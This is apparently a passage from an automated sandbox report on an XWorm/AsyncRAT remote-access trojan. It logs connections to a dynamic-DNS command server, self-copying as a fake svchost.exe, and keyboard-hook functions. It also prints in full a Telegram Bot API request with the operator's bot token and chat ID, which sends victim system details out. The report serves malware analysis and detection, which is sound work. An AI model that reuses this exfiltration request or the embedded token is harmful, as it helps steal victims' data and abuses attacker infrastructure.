Nov 17, 2024 19:27:17.071589947 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:17.129776001 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:17.134784937 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:22.160655975 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:22.165684938 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:25.342875004 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:25.344082117 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:27.144278049 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:27.147528887 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:27.510487080 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:27.510533094 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:27.510696888 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:27.527327061 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:27.532361031 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:29.816386938 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:29.821526051 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:30.191481113 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:30.196518898 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:32.972631931 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:32.978090048 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:32.988122940 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:32.993185043 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:35.994290113 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:35.994534016 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.021132946 CET	49990	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.021135092 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.027564049 CET	61586	49990	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.027606964 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.027775049 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.046092987 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.051145077 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.238339901 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.243592978 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.253804922 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.258697033 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.316361904 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.321625948 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:38.347666979 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:38.352607965 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:44.738265038 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:44.907263041 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:46.538875103 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:46.538938999 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.425652981 CET	49991	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.429920912 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.430910110 CET	61586	49991	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.434993029 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.435117006 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.457093954 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.462407112 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.503933907 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.509042025 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.566422939 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.571434975 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.597650051 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.602582932 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:48.613241911 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:48.621745110 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:56.930031061 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:56.930103064 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.800913095 CET	49992	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.803888083 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.806431055 CET	61586	49992	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:58.808993101 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:58.809070110 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.838407040 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.843343019 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:58.863399029 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:58.868367910 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:01.411273956 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:01.416874886 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:07.303040981 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:07.306000948 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.363279104 CET	49993	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.365223885 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.435931921 CET	61586	49993	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:09.435985088 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:09.439353943 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.455524921 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.460539103 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:09.739279032 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:09.744585991 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:11.473169088 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:11.478343010 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:17.918649912 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:17.918735027 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:19.988346100 CET	49994	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:19.989413023 CET	49995	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:19.994014978 CET	61586	49994	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:19.994613886 CET	61586	49995	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:19.994997978 CET	49995	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:20.010523081 CET	49995	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:20.015774965 CET	61586	49995	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:28.490392923 CET	61586	49995	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:28.490487099 CET	49995	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:36.067286015 CET	49995	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:36.067703962 CET	49996	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:36.072477102 CET	61586	49995	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:36.072675943 CET	61586	49996	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:36.072832108 CET	49996	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:36.089715958 CET	49996	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:28:36.094845057 CET	61586	49996	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:44.555584908 CET	61586	49996	147.185.221.23	192.168.2.7
Nov 17, 2024 19:28:44.559386969 CET	49996	61586	192.168.2.7	147.185.221.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 19:24:10.705328941 CET	50187	53	192.168.2.7	1.1.1.1
Nov 17, 2024 19:24:10.712631941 CET	53	50187	1.1.1.1	192.168.2.7
Nov 17, 2024 19:24:11.967971087 CET	54646	53	192.168.2.7	1.1.1.1
Nov 17, 2024 19:24:12.085794926 CET	62009	53	192.168.2.7	1.1.1.1
Nov 17, 2024 19:24:12.117975950 CET	53	62009	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 19:24:10.705328941 CET	192.168.2.7	1.1.1.1	0x1007	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 19:24:11.967971087 CET	192.168.2.7	1.1.1.1	0xc5e0	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 19:24:12.085794926 CET	192.168.2.7	1.1.1.1	0xc284	Standard query (0)	perfect-invest.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 19:24:10.712631941 CET	1.1.1.1	192.168.2.7	0x1007	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 17, 2024 19:24:11.975219011 CET	1.1.1.1	192.168.2.7	0xc5e0	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 19:24:12.117975950 CET	1.1.1.1	192.168.2.7	0xc284	No error (0)	perfect-invest.gl.at.ply.gg		147.185.221.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	149.154.167.220	443	6312	C:\Users\user\Desktop\yF21ypxRB7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 18:24:11 UTC	449	OUT	GET /bot7602273147:AAGPHHPgO8DxUDOWK0ZCgtSD_Rua_8wVzrE/sendMessage?chat_id=6589427579&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A95B5CEC98776D486C10E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20CO53M%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-17 18:24:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 17 Nov 2024 18:24:11 GMT Content-Type: application/json Content-Length: 450 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-17 18:24:11 UTC	450	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 36 30 32 32 37 33 31 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 72 65 64 74 69 67 65 72 5f 73 65 72 76 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 72 65 64 74 69 67 65 72 73 65 72 76 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 35 38 39 34 32 37 35 37 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 21 20 4c 6f 78 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6c 6f 78 79 64 65 76 30 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 38 36 37 38 35 31 2c 22 74 65 78 74 22 3a 22 5c 75 32 36 Data Ascii: {"ok":true,"result":{"message_id":80,"from":{"id":7602273147,"is_bot":true,"first_name":"redtiger_server","username":"redtigerserver_bot"},"chat":{"id":6589427579,"first_name":"! Loxy","username":"loxydev0","type":"private"},"date":1731867851,"text":"\u26

Target ID:	0
Start time:	13:24:04
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\yF21ypxRB7.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\yF21ypxRB7.exe"
Imagebase:	0x470000
File size:	39'936 bytes
MD5 hash:	640194B0D51307F362B74FD4A4A1761D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:24:06
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:24:06
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:24:06
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:24:07
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:24:11
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:24:18
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x580000
File size:	39'936 bytes
MD5 hash:	640194B0D51307F362B74FD4A4A1761D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:24:26
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0xee0000
File size:	39'936 bytes
MD5 hash:	640194B0D51307F362B74FD4A4A1761D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:22:24
Start date:	17/11/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff62c610000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:22:24
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC5B0ED9 Relevance: 1.9, Strings: 1, Instructions: 687
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CAL_^, xrefs: 00007FFAAC5B1177

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID:
String ID: CAL_^
API String ID: 0-3140518731
Opcode ID: 87584cd2be31ed5ec63e80b98d76ca6e9ff4bc83f8645dbb78c90901089cf79b
Instruction ID: 7e19f67bd6f4a16209ac6f6a5c9cd35d8035e85adf3f5dc66f399a876a0abd8b
Opcode Fuzzy Hash: 87584cd2be31ed5ec63e80b98d76ca6e9ff4bc83f8645dbb78c90901089cf79b
Instruction Fuzzy Hash: 2022C7A1F59A4A4FE794EB38C459679BBD6FF89301F408579E00EC32D3DE28A8458781

Function 00007FFAAC5B6C16 Relevance: .5, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3660d220e50a70738e217bee132eaae97421035fab4bb78a92c166ce4a52b2c2
Instruction ID: 204cbbc1f0993d221bf120a56836c9faf742792f274323de0e051580ef8baea3
Opcode Fuzzy Hash: 3660d220e50a70738e217bee132eaae97421035fab4bb78a92c166ce4a52b2c2
Instruction Fuzzy Hash: EFF1A530509A8E8FEBA8EF28C8557E93BD1FF55310F04826AE84DC7296DF3499458B81

Function 00007FFAAC5B79C2 Relevance: .5, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa4775651289dfed308ba6b85a92c94d8894f29a2def8116e2af7d55dc508c3b
Instruction ID: f1eccbc00b041c27f3977e07809b0d9f8b3102f936bac692075cb7ea5d0300a8
Opcode Fuzzy Hash: aa4775651289dfed308ba6b85a92c94d8894f29a2def8116e2af7d55dc508c3b
Instruction Fuzzy Hash: 89E1C430908A8E8FEBA8DF28C8557E97BD1FF55350F04826EE84DC7291DE74A9448BC1

Function 00007FFAAC5B2065 Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5210ec17ad45723e338257a99e598d5a6d8f3921da13e48dae3e4b53cf1ddde3
Instruction ID: d70777ad208a6052baa4ca936e81eeb2c1b130a2674db8dcd6028a090193f623
Opcode Fuzzy Hash: 5210ec17ad45723e338257a99e598d5a6d8f3921da13e48dae3e4b53cf1ddde3
Instruction Fuzzy Hash: 0941F67190DA8A8FE718EB68884A6B97FE0FF66320F04417EE04DC3193DE65A805C7D1

Function 00007FFAAC5B2A18 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFAAC5B2AE1

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d93b203a2ff40d093c6570c90b990a7eaedcd1020df5cc810046df7651b406a1
Instruction ID: bfc31bd37673004a7cf2fa80af0d749af406c160c87aa6efff040e8a11b53eda
Opcode Fuzzy Hash: d93b203a2ff40d093c6570c90b990a7eaedcd1020df5cc810046df7651b406a1
Instruction Fuzzy Hash: 8031F73191CA5D8FEB18EB6CD8066F97BE1FB5A321F00427ED04DC3292DE64A85687D1

Function 00007FFAAC5B20A8 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFAAC5B2AE1

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 7f43c572f934bd3938388135a39450c1f91f387c2153d4c3b90db7bc4fb25d06
Instruction ID: ee61fac95253e1df3898bacb2068cdbbbc9a387b7036b9e7c389158a4fdf94ac
Opcode Fuzzy Hash: 7f43c572f934bd3938388135a39450c1f91f387c2153d4c3b90db7bc4fb25d06
Instruction Fuzzy Hash: 5C31F77190CA4D8FEB18EB6CD8056B97BE1FB6A311F00417EE04ED3292DE64A80687D1

Non-executed Functions

Function 00007FFAAC5B4FDD Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705880352.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac5b0000_yF21ypxRB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5781f1c383496b3e5015d88fba428071edbe797949de586417751a22807917e3
Instruction ID: 50ee5ca0400fdedde3d9bd065e639f8fe7e21feb3844b9df794fbe7d857e1ff8
Opcode Fuzzy Hash: 5781f1c383496b3e5015d88fba428071edbe797949de586417751a22807917e3
Instruction Fuzzy Hash: 7CC1E73190CB4D8FDB19DBA8D8466E9BBF1EF56320F04826FD049D3292DE74A845CB91

Analysis Process: svchost.exePID: 7584, Parent PID: 4056COMMON

Executed Functions

Function 00007FFAAC570ED9 Relevance: .7, Instructions: 689COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ced447147bfbe9f81786a6dc1da53c218857f3d5cf26e41738d2b53b6ce9aa6
Instruction ID: f5ed88870b38891ef9342125d529efcc29e6ce8cff20d33ac6bb5a28d423f70e
Opcode Fuzzy Hash: 5ced447147bfbe9f81786a6dc1da53c218857f3d5cf26e41738d2b53b6ce9aa6
Instruction Fuzzy Hash: 8822F771B5CA5A4FE798EB7CC4596797BD2FF99300F40897DE04EC3292DE28A8458381

Function 00007FFAAC5716D5 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

P_H, xrefs: 00007FFAAC571772

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID: P_H
API String ID: 0-4206272840
Opcode ID: 649e1c934a629b240c0d0a8da1695792ba382b3d0157833dd8b6cdfe701415fa
Instruction ID: b73e516b32f62a30d42f0eaaed7ebea4804cc16314c2442655f8b6c44778a7e3
Opcode Fuzzy Hash: 649e1c934a629b240c0d0a8da1695792ba382b3d0157833dd8b6cdfe701415fa
Instruction Fuzzy Hash: BE515662A4E6C54FE785A77888646767FD9EF87215B0808FFE08EC71D3DD185846C382

Function 00007FFAAC5704D8 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

P_H, xrefs: 00007FFAAC571772

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID: P_H
API String ID: 0-4206272840
Opcode ID: 557576ddd3e52f851cce65f701e5c4e7b4913b1bf310019d39ca0c094c66dc03
Instruction ID: 390f8458600d03be80d0378d305c6b9edba9f43e8b517bccf603933b384d5b07
Opcode Fuzzy Hash: 557576ddd3e52f851cce65f701e5c4e7b4913b1bf310019d39ca0c094c66dc03
Instruction Fuzzy Hash: C531A462B189490FE798FB7CD45AA79B6C6EB99311F0449BEF04EC3293DD689C418381

Function 00007FFAAC570C5E Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f3870b536efbc4ba79acb9052317cffc93fdd87676c09f55f08eab38c09788
Instruction ID: 34860de3d65e4bb9044036c1ef84b61e2a1f37129f81a5090f61cc0fd6fdf6fd
Opcode Fuzzy Hash: 02f3870b536efbc4ba79acb9052317cffc93fdd87676c09f55f08eab38c09788
Instruction Fuzzy Hash: 9E717972A5DA8B4FF785A77CC8555F97BE5EF86210F0444BAE04DC3193DD18AC4A8381

Function 00007FFAAC5709A9 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

